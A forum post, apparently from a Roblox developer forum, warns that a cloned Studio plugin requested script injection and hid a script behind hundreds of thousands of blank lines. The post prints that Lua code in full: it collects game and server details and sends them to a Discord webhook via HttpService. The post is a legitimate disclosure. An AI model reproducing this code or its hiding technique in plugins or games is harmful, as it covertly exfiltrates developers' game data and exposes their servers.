Malicous Code From Plugin (Possible Backdoor)

Hello! I apologize if this is the wrong place to be posting this, but I don’t really know where else to put this. I can’t post in Bug Reports, which was where I thought of posting this, so that’s why I’m here.

I am currently working on the building phase of a project and I wanted to add some more detail, so I installed this plugin:

It appears very high on the “Relevance” sort, which is kind of concerning because of what it does.

As I was searching through for other plugins I noticed that there were many plugins all over the place going by the same name, created by different people.

Once I had the plugin installed, I realized that it was a copy of someone else’s plugin (which there are also many many clones of). The plugin immediately requested access for script injection, which I denied. I then messed around with it and it was pretty normal. As an experiment I allowed script injection to see what it would do.

When I launched the game, my output started throwing errors:

Output
As you can see, something was trying to call require() from the client and use the HTTPService. Completely by luck, I had HTTPService off.

The malicious script that was trying to require() something disappeared immediately, but the script trying to use HTTPService stuck around. I clicked the error to see what it was doing. The script was called Script, and it had hundreds of thousands of blank lines, presumably to hide the malicious code. The second error took me right to the bad part.

The script seems to have been gathering what data it could about the game, and then packing it into a JSON and sending it to a discord server or bot via the HTTPService. This is the code:

function owner()
	if game.CreatorType == Enum.CreatorType.User then
		return "User"
	elseif game.CreatorType == Enum.CreatorType.Group then
		return "Group"
	end
end



function name()
	if owner() == "User" then
		local lol = game.Players:GetNameFromUserIdAsync(game.CreatorId)
		return lol
	elseif owner() == "Group" then
		local hehe = game.GroupService:GetGroupInfoAsync(game.CreatorId).Owner
		return hehe
	end
end	



function filtering()
	if game.Workspace.FilteringEnabled == true then
		return "ENABBLED"
	else
		if game.Workspace.FilteringEnabled == false then
			return "DISABLED"
		end
	end
end


local placeId = game.PlaceId
local p = game.Players:GetChildren()
local l1 = "https://discord.com/api/webhooks/796814416443080734/LUsF2UA2gAbOj9vhhMtust2yV6jQOwZbEFFHxuIV8KUjL4dzhhQyxDWm5tDQ_cBjrqdT"
local PlaceId = game.PlaceId
local plrs = game.Players
local maxplayers = plrs.MaxPlayers
local GetName = game:GetService("MarketplaceService"):GetProductInfo(game.PlaceId)
local plr = game:GetService("Players")
local HTTP = game:GetService("HttpService")
local Data = 
	{
		["content"] = "",
		["embeds"] = {{
			["title"] = "New Game Logged",
			["description"] = "Game Logged: " .. "**"..GetName.Name.."**",
			["type"] = "rich",
			["color"]= tonumber(0xff9429),
			["footer"] = {
				["icon_url"] = '',
				["text"] = "NovaSS | 2021."
			},
			["thumbnail"] = {
				["url"] = "https://www.roblox.com/asset-thumbnail/image?assetId="..game.PlaceId.."&width=768&height=432&format=png",
			},
			["author"] = {
				["name"] = "NovaSS",
				["icon_url"] = ""
			},
			["fields"] = {
				{
					["name"] = "Link:",
					["value"] = "https://www.roblox.com/games/"..game.PlaceId.."",
					["inline"] = false
				},

				{
					["name"] = "Creator:",
					["value"] = name(),
					["inline"] = false
				},

				{
					["name"] = "**__Creator Type:__**",
					["value"] = owner(),
					["inline"] = false
				},

				{
					["name"] = "**__FilteringEnabled:__**",
					["value"] = filtering(),
					["inline"] = false
				},

				{
					["name"] = "**__Server Players:__**",
					["value"] = #plrs:GetPlayers().."/"..game.Players.MaxPlayers,
					["inline"] = false
				},
				{
					["name"] = '**__Server Code:__**',
					["value"] = "```lua\nRoblox.GameLauncher.JoinGameInstance("..game.PlaceId..","..'"'..game.JobId..'"'..")```",
					["inline"] = false

				}


			}
		}
		}
	}

Data = HTTP:JSONEncode(Data)
HTTP:PostAsync(l1, Data)

Again, I apologize if this is the wrong place to put this post. This is definitely dangerous though, and it’s very problematic that whoever is doing this could get their plugin to the front page of plugins.

3 Likes

This is no place for reporting these. Please contact support rather than bringing it here. This is indeed malicious code.

4 Likes